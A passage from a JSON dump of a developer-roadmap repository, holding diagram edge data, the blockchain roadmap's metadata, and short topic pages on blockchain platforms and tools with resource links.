\"fbESHQGYqxKRi-5DW8TY3\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"qox-x_q-Q7aWcNFWD7RkT\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-bTdRKEiIUmu1pnp8UbJK9y2-qox-x_q-Q7aWcNFWD7RkTz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Fs9rcEh_f9fJ2tF-bkAUE\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"gpS5CckcQZX3TMFQ2jtIL\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-bTdRKEiIUmu1pnp8UbJK9x2-gpS5CckcQZX3TMFQ2jtILw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Fs9rcEh_f9fJ2tF-bkAUE\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"oSK3MRQD_4j1gGDORN7RO\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-Fs9rcEh_f9fJ2tF-bkAUEy2-bTdRKEiIUmu1pnp8UbJK9z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"oSK3MRQD_4j1gGDORN7RO\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"GOgeaQoRvqg-7mAfL_A8t\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-bTdRKEiIUmu1pnp8UbJK9y2-GOgeaQoRvqg-7mAfL_A8tz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"oSK3MRQD_4j1gGDORN7RO\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"CWqwv4asouS-dssAwIdxv\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-bTdRKEiIUmu1pnp8UbJK9y2-CWqwv4asouS-dssAwIdxvz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"oSK3MRQD_4j1gGDORN7RO\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"TMPB62h9LGIA0pMmjfUun\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-bTdRKEiIUmu1pnp8UbJK9y2-TMPB62h9LGIA0pMmjfUunz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"SXXvFtf_7Rx64cHSEWxMS\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"bTdRKEiIUmu1pnp8UbJK9\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-SXXvFtf_7Rx64cHSEWxMSz2-bTdRKEiIUmu1pnp8UbJK9w1\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"bTdRKEiIUmu1pnp8UbJK9\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"1bUD9-vFo-tsHiB1a06tO\",\n      \"targetHandle\": \"x2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-bTdRKEiIUmu1pnp8UbJK9z2-1bUD9-vFo-tsHiB1a06tOx2\",\n      \"selected\": false,\n      \"type\": \"simplebezier\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"sVXZrBCsiSzWBBYWTm-nQ\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"PShueM-HfMGu2Jy1dt73g\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"STQQbPa7PE3gbjMdL6P-t\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"sVXZrBCsiSzWBBYWTm-nQ\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-STQQbPa7PE3gbjMdL6P-tx2-sVXZrBCsiSzWBBYWTm-nQw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"kc6buUsLAeZeUb4Tk0apM\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"sVXZrBCsiSzWBBYWTm-nQ\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-kc6buUsLAeZeUb4Tk0apMx2-sVXZrBCsiSzWBBYWTm-nQw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NhodBD8myUTljNdn3y40I\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"sVXZrBCsiSzWBBYWTm-nQ\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-NhodBD8myUTljNdn3y40Ix2-sVXZrBCsiSzWBBYWTm-nQw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/blockchain/blockchain.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/blockchain.json'\npdfUrl: '/pdfs/roadmaps/blockchain.pdf'\norder: 6\nrenderer: 'editor'\nbriefTitle: 'Blockchain'\nbriefDescription: 'Step by step guide to becoming a blockchain developer in 2025'\ntitle: 'Blockchain Developer'\ndescription: 'Step by step guide to becoming a blockchain developer in 2025.'\nisNew: false\nhasTopics: true\ndimensions:\n  width: 968\n  height: 2250\nschema:\n  headline: 'Blockchain Developer Roadmap'\n  description: 'Learn how to become a Blockchain Developer with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/blockchain.png'\n  datePublished: '2023-01-05'\n  dateModified: '2023-01-20'\nseo:\n  title: 'Blockchain Developer Roadmap: Learn to become a blockchain developer'\n  description: 'Learn to become a blockchain developer using this roadmap. Community driven, articles, resources, guides, interview questions, quizzes for modern backend development.'\n  keywords:\n    - 'blockchain roadmap 2025'\n    - 'web3 developer roadmap'\n    - 'web3 developer roadmap 2025'\n    - 'web3 roadmap'\n    - 'blockchain developer roadmap 2025'\n    - 'guide to becoming a blockchain developer'\n    - 'blockchain roadmap'\n    - 'blockchain engineer'\n    - 'blockchain skills'\n    - 'blockchain development'\n    - 'javascript developer'\n    - 'blockchain development skills'\n    - 'blockchain development skills test'\n    - 'blockchain engineer roadmap'\n    - 'blockchain developer roadmap'\n    - 'become a blockchain developer'\n    - 'blockchain developer career path'\n    - 'skills for blockchain development'\n    - 'learn blockchain development'\n    - 'what is blockchain development'\n    - 'blockchain developer quiz'\n    - 'blockchain developer interview questions'\nrelatedRoadmaps:\n  - 'computer-science'\n  - 'linux'\n  - 'software-architect'\n  - 'frontend'\n  - 'backend'\n  - 'nodejs'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'role-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/alchemy@lOoubzXNILBk18jGsc-JX.md",
    "content": "# Alchemy\n\nAlchemy is a platform that provides developers with the infrastructure and tools needed to build and scale decentralized applications (dApps). It simplifies the process of interacting with blockchain networks by offering reliable and scalable APIs, enhanced monitoring, and developer tools that abstract away the complexities of running and maintaining blockchain nodes. This allows developers to focus on building the application logic rather than managing the underlying infrastructure.\n\nVisit the following resources to learn more:\n\n- [@official@Alchemy](https://www.alchemy.com/)\n- [@video@Cyfrin Updraft | Introduction to Alchemy](https://updraft.cyfrin.io/courses/foundry/foundry-simple-storage/introduction-to-alchemy)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/angular@UY_vAsixTyocvo8zvAF4b.md",
    "content": "# Angular\n\nAngular is a TypeScript-based, open-source web application framework led by the Angular Team at Google. It provides a structured way to build dynamic web applications, using components, templates, and dependency injection. Angular helps developers create complex, single-page applications with features like data binding, routing, and form management, making it a popular choice for building interactive user interfaces.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Angular Roadmap](https://roadmap.sh/angular)\n- [@official@Angular](https://angular.dev/)\n- [@official@Getting Started with Angular](https://angular.dev/overview)\n- [@feed@Explore top posts about Angular](https://app.daily.dev/tags/angular?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/applicability@aATSuiqPG-yctr3ChEBa_.md",
    "content": "# Applicability\n\ndApps can be used for just about anything that requires two or more parties to agree on something. When the appropriate conditions are met, the smart contract will execute automatically. An important differentiation is that these transactions are no longer based on trust but they are rather based on cryptographically-backed smart contracts.\n\nVisit the following resources to learn more:\n\n- [@article@What are dApps? A guide to decentralized applications](https://www.moonpay.com/learn/defi/what-are-dapps)\n- [@article@Blockchain Use Cases and Applications by Industry](https://consensys.net/blockchain-use-cases/)\n- [@article@The real-world use cases for blockchain technology](https://roboticsandautomationnews.com/2022/05/20/the-real-world-use-cases-for-blockchain-technology/)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/applications-and-uses@WD2JH4X4tEE4J0W0XFQ_4.md",
    "content": "# Blockchain Applications and Uses\n\nBlockchain technology enables secure and transparent record-keeping across various sectors. It's used to track goods as they move through supply chains, ensuring authenticity and reducing fraud. Digital identities can be managed securely on a blockchain, giving individuals more control over their personal data. Voting systems can leverage blockchain for increased transparency and tamper-proof results. Furthermore, blockchain facilitates decentralized finance (DeFi), enabling peer-to-peer lending, borrowing, and trading without traditional intermediaries.\n\nVisit the following resources to learn more:\n\n- [@article@Blockchain Use Cases and Applications by Industry](https://consensys.net/blockchain-use-cases/)\n- [@article@Top 10 Real-World Applications Of Blockchain Technology](https://www.blockchain-council.org/blockchain/top-10-real-world-applications-of-blockchain-technology/)\n- [@article@Ethereum Blockchain Transactions](https://ethereum.org/en/developers/docs/transactions/)\n- [@article@E34 Blockchain Applications and Real-World Use Cases Disrupting the Status Quo](https://builtin.com/blockchain/blockchain-applications)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/arbitrum@A_yVDg-6b42ynmh71jk1V.md",
    "content": "# Arbitrum\n\nArbitrum is a Layer-2 scaling solution designed to improve the speed and reduce the costs of transactions on the Ethereum blockchain. It operates by executing transactions off-chain and then posting the results back to the main Ethereum chain, leveraging optimistic rollups to achieve higher throughput and lower gas fees compared to directly interacting with Ethereum. This allows for more complex and scalable decentralized applications (dApps) to be built and used without being constrained by the limitations of the base layer.\n\nVisit the following resources to learn more:\n\n- [@official@Arbitrum - The Future of Ethereum](https://arbitrum.io/)\n- [@official@Getting Started with Arbitrum](https://docs.arbitrum.io/welcome/get-started)\n- [@article@Arbitrum Whitepaper](https://www.usenix.org/system/files/conference/usenixsecurity18/sec18-kalodner.pdf)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/arbitrum@ixTIn2Uhs-i5-UPt9jKAa.md",
    "content": "# Arbitrum\n\nArbitrum is a Layer-2 scaling solution designed to improve the speed and reduce the costs of transactions on the Ethereum blockchain. It operates by executing transactions off-chain and then posting the results back to the main Ethereum chain, leveraging optimistic rollups to achieve higher throughput and lower gas fees compared to directly interacting with Ethereum. This allows for more complex and scalable decentralized applications (dApps) to be built and used without being constrained by the limitations of the base layer.\n\nVisit the following resources to learn more:\n\n- [@official@Arbitrum - The Future of Ethereum](https://arbitrum.io/)\n- [@official@Getting Started with Arbitrum](https://docs.arbitrum.io/welcome/get-started)\n- [@article@Arbitrum Whitepaper](https://www.usenix.org/system/files/conference/usenixsecurity18/sec18-kalodner.pdf)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/architecture@B6GGTUbzEaIz5yu32WrAq.md",
    "content": "# dApp Architecture\n\nTraditional web applications typically rely on a centralized server to handle data storage, logic, and user authentication. In contrast, decentralized applications (dApps) shift these responsibilities to a decentralized network, often a blockchain. Instead of a single server, dApps use smart contracts deployed on the blockchain to manage data and logic. The frontend of a dApp, which users interact with, can still be hosted on traditional servers or decentralized storage solutions, but the core functionality is executed and verified on the blockchain, making it more transparent and resistant to censorship.\n\nVisit the following resources to learn more:\n\n- [@article@The Architecture of a Web 3.0 application](https://www.preethikasireddy.com/post/the-architecture-of-a-web-3-0-application)\n- [@video@Blockchain Development: Dapp Architecture](https://youtu.be/KBSq8-LnUDI?t=286)\n- [@feed@Explore top posts about Architecture](https://app.daily.dev/tags/architecture?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/avalanche@txQ9U1wcnZkQVh6B49krk.md",
    "content": "# Avalanche\n\nAvalanche is a high-throughput, open-source platform for launching decentralized finance (DeFi) applications and enterprise blockchain deployments in one interoperable, highly scalable ecosystem. It distinguishes itself through its unique consensus mechanism, which allows for faster transaction finality compared to many other blockchain networks. It also supports the creation of custom blockchains and digital assets, offering developers flexibility and control over their applications.\n\nVisit the following resources to learn more:\n\n- [@official@Avalanche](https://www.avax.network/)\n- [@official@New to Avalanche - Quick Start Guide](https://support.avax.network/en/collections/3433652-new-to-avalanche-quick-start-guide)\n- [@article@Avalanche Whitepaper](https://assets.website-files.com/5d80307810123f5ffbb34d6e/6008d7bbf8b10d1eb01e7e16_Avalanche%20Platform%20Whitepaper.pdf)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/base@ixTIn2Uhs-i5-UPt9jKAa.md",
    "content": "# Base\n\nBase is an Ethereum Layer 2 (L2) blockchain developed by Coinbase. It's designed to offer a secure, low-cost, and developer-friendly environment for building decentralized applications (dApps). Base aims to scale Ethereum by processing transactions off-chain and then settling them on the main Ethereum network, thereby reducing gas fees and increasing transaction speeds.\n\nVisit the following resources to learn more:\n\n- [@official@Base](https://www.base.org/)\n- [@official@What is BASE, Coinbase Layer 2 Network?](https://www.binance.com/en/academy/articles/what-is-base-coinbase-layer-2-network)\n- [@video@What is Base? (Coinbase's Top L2 Blockchain)](https://www.youtube.com/watch?v=M4uXlIAh3ps)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/basic-blockchain-knowledge@MvpHHpbS-EksUfuOKILOq.md",
    "content": "# Basic Blockchain Knowledge\n\nUnderstanding the fundamental concepts of blockchain technology is essential. This includes grasping what a blockchain is – a distributed, immutable ledger – and how it operates through cryptographic principles. Key elements involve understanding blocks, transactions, hashing, consensus mechanisms, and the decentralized nature of the system.\n\nVisit the following resources to learn more:\n\n- [@course@Cyfirn Updraft | Blockchain Basics](https://updraft.cyfrin.io/courses/blockchain-basics)\n- [@article@Introduction to Blockchain](https://chain.link/education-hub/blockchain)\n- [@article@Blockchain Explained](https://www.investopedia.com/terms/b/blockchain.asp)\n- [@article@Blockchain for beginners- basic guiding principles](https://blockchain-observatory.ec.europa.eu/document/download/1063effa-59cc-4df4-aeee-d2cf94f69178_en?filename=Blockchain_For_Beginners_A_EUBOF_Guide.pdf)\n- [@video@How does a blockchain work?](https://youtu.be/SSo_EIwHSd4)\n- [@video@What Is a Blockchain? | Blockchain Basics for Developers](https://youtu.be/4ff9esY_4aU)\n- [@feed@Explore top posts about Blockchain](https://app.daily.dev/tags/blockchain?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/basic-blockchain-operations@9z0Fqn1qqN8eo6s7_kwcb.md",
    "content": "# Basic Blockchain Operations\n\nBasic blockchain operations encompass the fundamental actions that allow a blockchain network to function. These operations include creating new blocks, adding transactions to blocks, verifying transactions, distributing the blockchain across the network, and reaching consensus on the state of the blockchain. These operations ensure the integrity, security, and immutability of the data stored on the blockchain.\n\nVisit the following resources to learn more:\n\n- [@course@Blockchain Basics | Coursera](https://www.coursera.org/lecture/blockchain-basics/basic-operations-OxILB)\n- [@article@Blockchain Basics: Structure, Operations, and the Bitcoin Blockchain](https://www.mlq.ai/blockchain-basics/)\n- [@article@Bitcoin Blockchain Transactions](https://developer.bitcoin.org/reference/transactions.html)\n- [@article@Ethereum Blockchain Transactions](https://ethereum.org/en/developers/docs/transactions/)\n- [@video@How Bitcoin Blockchain Actually](https://www.youtube.com/watch?v=bBC-nXj3Ng4)\n- [@feed@Explore top posts about Blockchain](https://app.daily.dev/tags/blockchain?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/besu@Gnnp5qrFmuSVtaq31rvMX.md",
    "content": "# Besu\n\nBesu is an open-source Ethereum client designed for both public and private blockchain networks. It allows users to connect to and interact with Ethereum-based blockchains, executing smart contracts and participating in network consensus. Besu is written in Java and offers features suitable for enterprise use, including privacy, permissioning, and monitoring tools.\n\nVisit the following resources to learn more:\n\n- [@official@Besu Homepage](https://www.lfdecentralizedtrust.org/projects/besu)\n- [@opensource@Besu Ethereum Client](https://github.com/hyperledger/besu)\n- [@video@Hyperledger Besu](https://youtu.be/gF__bwiG66g)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/bft@Bj3T_4lfr0Yianuwr3pDN.md",
    "content": "# Byzantine Fault Tolerance (BFT)\n\nByzantine Fault Tolerance (BFT) is a system's ability to function correctly even when some of its components fail or act maliciously by providing incorrect information. It addresses scenarios where nodes in a distributed network can exhibit arbitrary behavior, including lying, forging data, or simply not responding. BFT algorithms aim to ensure that the system as a whole can still reach a correct and consistent decision despite these faulty nodes.\n\nVisit the following resources to learn more:\n\n- [@article@Byzantine Fault Tolerance in Crypto: What Is It?](https://www.ledger.com/academy/topics/blockchain/byzantine-fault-tolerance-in-crypto-what-is-it)\n- [@article@Byzantine Fault Tolerance Explained](https://www.binance.com/en/academy/articles/byzantine-fault-tolerance-explained)\n- [@video@What is Byzantine Fault Tolerance｜Explained For Beginners](https://www.youtube.com/watch?v=VWG9xcwjxUg)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/binance-smart-chain@sJj-6wG5KjjzYYia_eo63.md",
    "content": "# Binance Smart Chain\n\nBinance Smart Chain (also known as BNB Chain) is a blockchain project initiated by Binance as a central piece of their cryptocurrency exchange, which is the largest exchange in the world in terms of daily trading volume of cryptocurrencies.\n\nVisit the following resources to learn more:\n\n- [@official@BNB Chain](https://www.binance.com/en/blog/all/bnb-chain-blockchain-for-exchanging-the-world-304219301536473088)\n- [@official@Binance Website](https://www.binance.com/en)\n- [@article@Binance Whitepaper](https://www.exodus.com/assets/docs/binance-coin-whitepaper.pdf)\n- [@feed@Explore top posts about Crypto](https://app.daily.dev/tags/crypto?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/bitbucket@TMPB62h9LGIA0pMmjfUun.md",
    "content": "# Bitbucket\n\nBitbucket is a web-based version control repository hosting service owned by Atlassian, the same company that makes Jira and Confluence. It's primarily used for source code management and collaborative development, allowing teams to store, track, and manage changes to their code. Bitbucket supports both Git and Mercurial version control systems and offers features like pull requests, branching, and issue tracking to streamline the software development workflow.\n\nVisit the following resources to learn more:\n\n- [@official@Bitbucket Website](https://bitbucket.org/product)\n- [@official@Overview of Bitbucket](https://bitbucket.org/product/guides/getting-started/overview#a-brief-overview-of-bitbucket)\n- [@official@Getting Started with Bitbucket](https://bitbucket.org/product/guides/basics/bitbucket-interface)\n- [@article@Using Git with Bitbucket Cloud](https://www.atlassian.com/git/tutorials/learn-git-with-bitbucket-cloud)\n- [@video@Bitbucket Tutorial | Bitbucket for Beginners](https://www.youtube.com/watch?v=i5T-DB8tb4A)\n- [@feed@Explore top posts about Bitbucket](https://app.daily.dev/tags/bitbucket?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/bitcoin@tmI1PrE4fInrGB3-jMrFW.md",
    "content": "# Bitcoin\n\nBitcoin is a decentralized digital currency, meaning it operates without a central bank or single administrator. Transactions are verified by network nodes through cryptography and recorded in a public, distributed ledger called a blockchain. Bitcoin uses a UTXO (Unspent Transaction Output) model, where each transaction creates new UTXOs that can be used as inputs in future transactions, similar to how physical cash works.\n\nVisit the following resources to learn more:\n\n- [@official@Bitcoin](https://bitcoin.org/en/)\n- [@article@What Is Bitcoin? How to Buy, Mine, and Use It](https://www.investopedia.com/terms/b/bitcoin.asp)\n- [@article@What Is Bitcoin and How Does It Work?](https://n26.com/en-es/blog/what-is-bitcoin)\n- [@article@Making sense of bitcoin, cryptocurrency and blockchain](https://www.pwc.com/us/en/industries/financial-services/fintech/bitcoin-blockchain-cryptocurrency.html)\n- [@video@What is BITCOIN?? Explained for Beginners](https://www.youtube.com/watch?v=Js6qesKGzp8)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/blockchain-forking@L08v-78UsEhcg-mZtMVuk.md",
    "content": "# Blockchain Forking\n\nBlockchain forking happens when a blockchain diverges into two or more separate chains. This typically occurs when there's a change to the blockchain's protocol or software, and not all nodes agree on or adopt the new rules. As a result, some nodes continue following the old rules, while others follow the new ones, leading to the creation of parallel blockchains that evolve independently.\n\nVisit the following resources to learn more:\n\n- [@article@Blockchain Fork](https://en.wikipedia.org/wiki/Fork_(blockchain))\n- [@article@What is a fork?](https://www.coinbase.com/learn/crypto-basics/what-is-a-fork)\n- [@article@Hard Fork: What It Is in Blockchain, How It Works, and Why It Happens](https://www.investopedia.com/terms/h/hard-fork.asp)\n- [@feed@Explore top posts about Blockchain](https://app.daily.dev/tags/blockchain?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/blockchain-interoperability@nNPa6jKRUaitmHwBip_LE.md",
    "content": "# Blockchain Interoperability\n\nBlockchain interoperability refers to the ability of different blockchains to communicate, share data, and transact with each other. It allows for the transfer of assets and information between otherwise isolated blockchain networks, creating a more connected and collaborative blockchain ecosystem. This involves overcoming technical and structural differences between blockchains to enable seamless interaction.\n\nVisit the following resources to learn more:\n\n- [@article@Cross-Chain Interoperability: What it Means for Blockchain](https://www.gemini.com/cryptopedia/why-is-interoperability-important-for-blockchain)\n- [@article@Blockchain Interoperability : Why Is Cross Chain Technology Important?](https://101blockchains.com/blockchain-interoperability/)\n- [@article@Blockchain Interoperability – Understanding Cross-Chain Technology](https://www.blockchain-council.org/blockchain/blockchain-interoperability/)\n- [@feed@Explore top posts about Blockchain](https://app.daily.dev/tags/blockchain?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/blockchain-networks@nuq_juiBSecI7PwERR_4R.md",
    "content": "# Blockchain Networks\n\nBlockchain networks are the underlying infrastructure that allows blockchains to operate. They are essentially distributed ledgers shared among multiple participants. There are four main types: _public blockchains_, which are permissionless and open to anyone; _private blockchains_, which are permissioned and controlled by a single organization; _consortium blockchains_, which are also permissioned but governed by a group of organizations; and _hybrid blockchains_, which combine elements of both public and private blockchains.\n\nVisit the following resources to learn more:\n\n- [@article@What are the 4 different types of blockchain technology?](https://www.techtarget.com/searchcio/feature/What-are-the-4-different-types-of-blockchain-technology)\n- [@article@What are the types of blockchain networks?](https://aws.amazon.com/what-is/blockchain/#what-are-the-types-of-blockchain-networks--c5zhgc)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/blockchain-structure@Atv-4Q7edtvfySs_XhgEq.md",
    "content": "# Blockchain Structure\n\nA blockchain is essentially a distributed, immutable ledger composed of blocks chained together chronologically. Each block contains a batch of transactions, a timestamp, and a cryptographic hash of the previous block. This hash links the blocks together, creating a chain and ensuring that any alteration to a previous block would change its hash and invalidate all subsequent blocks, thus providing security and data integrity.\n\nVisit the following resources to learn more:\n\n- [@course@Blockchain Basics | Coursera](https://www.coursera.org/lecture/blockchain-basics/blockchain-structure-5rj9Z)\n- [@article@Blockchain Architecture Basics: Components, Structure, Benefits & Creation](https://mlsdev.com/blog/156-how-to-build-your-own-blockchain-architecture)\n- [@article@Blockchain Architecture 101: Components, Structure, and Benefits](https://komodoplatform.com/en/academy/blockchain-architecture-101/)\n- [@article@Blockchain Architecture Layers: Guide And Topology](https://www.cyfrin.io/blog/blockchain-architecture-layers-what-is-it)\n- [@feed@Explore top posts about Blockchain](https://app.daily.dev/tags/blockchain?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/blockchains@EQgb4LqXnyq3gOX7Fb85s.md",
    "content": "# Blockchains\n\nBlockchains are essentially digital ledgers that record transactions in a secure and transparent manner. There are primarily three types: Public blockchains, like Bitcoin and Ethereum, are permissionless and open to anyone. Private blockchains, on the other hand, are permissioned and controlled by a single organization. Consortium blockchains are also permissioned, but governed by a group of organizations, offering a balance between decentralization and control.\n\nVisit the following resources to learn more:\n\n- [@article@Types of Blockchains: PoW, PoS, and Private](https://www.gemini.com/cryptopedia/blockchain-types-pow-pos-private)\n- [@feed@Explore top posts about Blockchain](https://app.daily.dev/tags/blockchain?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/bnb-chain@sJj-6wG5KjjzYYia_eo63.md",
    "content": "# BNB Chain\n\nBNB Chain is a blockchain network created by Binance. It's designed for fast and low-cost transactions, and it supports smart contracts and decentralized applications (dApps). It operates using a dual-chain architecture, consisting of the BNB Beacon Chain (for governance) and the BNB Smart Chain (for smart contracts), aiming to provide a scalable and efficient platform for blockchain development.\n\nVisit the following resources to learn more:\n\n- [@official@BNB Chain](https://www.binance.com/en/blog/all/bnb-chain-blockchain-for-exchanging-the-world-304219301536473088)\n- [@official@Binance Website](https://www.binance.com/en)\n- [@article@Binance Whitepaper](https://www.exodus.com/assets/docs/binance-coin-whitepaper.pdf)\n- [@feed@Explore top posts about Crypto](https://app.daily.dev/tags/crypto?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/brownie@Q64AbQlvYPiqJl8BtoJj9.md",
    "content": "# Brownie\n\nBrownie is a Python-based development and testing framework for smart contracts targeting the Ethereum Virtual Machine (EVM). It simplifies the process of writing, deploying, testing, and interacting with smart contracts by providing a suite of tools and libraries tailored for Python developers. Brownie aims to make smart contract development more accessible and efficient, especially for those already familiar with Python.\n\nVisit the following resources to learn more:\n\n- [@official@Brownie Overview](https://eth-brownie.readthedocs.io/)\n- [@video@Python and Blockchain: Deploy Smart Contracts using Brownie](https://youtu.be/QfFO22lwSw4)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/building-for-scale@bTdRKEiIUmu1pnp8UbJK9.md",
    "content": "# Building for Scale\n\nAs more people use decentralized applications (dApps), the underlying blockchains can get congested and slow. This creates a need for new technologies and solutions that help these dApps handle a large number of users and transactions efficiently, without sacrificing speed or security. These solutions aim to make dApps more practical and user-friendly for widespread adoption.\n\nVisit the following resources to learn more:\n\n- [@article@Blockchain Scalability](https://medium.com/iovlabs-innovation-stories/blockchain-scalability-4dce74382930)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/cardano@IzBZnvl8lqVKsog-IGwtV.md",
